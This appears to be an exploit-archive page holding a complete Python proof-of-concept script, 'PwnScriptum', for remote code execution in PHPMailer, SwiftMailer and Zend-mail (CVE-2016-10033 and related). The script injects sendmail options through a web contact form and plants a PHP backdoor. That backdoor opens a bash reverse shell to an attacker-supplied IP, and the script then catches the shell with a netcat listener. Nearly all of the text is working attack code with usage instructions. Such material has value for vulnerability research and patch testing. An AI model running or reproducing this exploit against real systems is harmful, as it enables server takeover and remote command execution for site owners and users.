PHPMailer / Zend-mail / SwiftMailer Remote Code Execution

This proof of concept exploit aims to execute a reverse shell on the target in the context of the web server user via a vulnerable PHP email library.


MD5 | a0be91defae2564f4405c81fdeab38cd

#!/usr/bin/python

intro = """\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/


PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
a.k.a "PwnScriptum"

CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074


This PoC exploit aims to execute a reverse shell on the target in
the context of the web-server user via vulnerable PHP email library.


Discovered and Coded by:

\033[1;34m
Dawid Golunski
https://legalhackers.com

t: @dawid_golunski for updates
\033[0m
\033[94m
P.$. For testing only! Don't break the Web ;)
\033[0m
"""
info = """
[Version]
Limited (ver. 1.0)

[PoC Video]
See the the exploit in action at:

https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

[Info]
This exploit targets a common webapp component - Contact Form.

It combines payloads for the following vulns:

1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html

3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html

[Usage]

./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
[-d TARGET_UP_DIR] -ip ATTACKERS_IP
[-p ATTACKERS_PORT] [--version]
[--post-action POST_ACTION]
[--post-name POST_NAME]
[--post-email POST_EMAIL]
[--post-msg POST_MSG]

Note, make sure the contact form matches the default field names (send/name/email/msg).
Otherwise override with --post-msg=message_box for example.

"""

import os
import argparse
import time
import urllib
import urllib2
import socket
import sys


# The Main Meat
print intro

# Show info
if '-H' in sys.argv:
print info
exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')
parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir')
parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell')
parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener')
parser.add_argument('--version', action='version', version='%(prog)s 1.0 Limited edition')
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")
args = parser.parse_args()

# Preset vars
TMOUT = 3
# Set Vars
if args.ATTACKERS_PORT is None:
args.ATTACKERS_PORT = 8080
if args.TARGET_UP_DIR is None:
args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL = args.WEBAPP_BASE_URL + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT

# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL = [%s]
CONTACT_SCRIPT = [%s]
TARGET_UP_DIR = [%s]
ATTACKERS_IP = [%s]
ATTACKERS_PORT = [%s]
CONTACT_SCRIPT_URL = [%s]
BACKDOOR_FILEl = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)


print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"

try:
target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
print "Not a valid choice. Exiting\n"
exit(2)
if (target>4):
print "No such target. Exiting\n"
exit(3)
if target == 1:
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)

print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g:
#RCE_PHP_CODE = "<?php phpinfo(); ?>"
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)

# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}

# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
response = urllib2.urlopen(req)
the_page = response.read()


# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.

# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError as e:
http_err = e.code
except socket.timeout as e:
print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
got_timeout = 1

if (got_timeout != 1):
print "[!] Something went wrong... Got error: [%d] \nTry another dir? Push through, don't give up! :)\n" % http_err
exit(2)

# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %d" % args.ATTACKERS_PORT)

print "\n[+] Shell closed\n"

print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"



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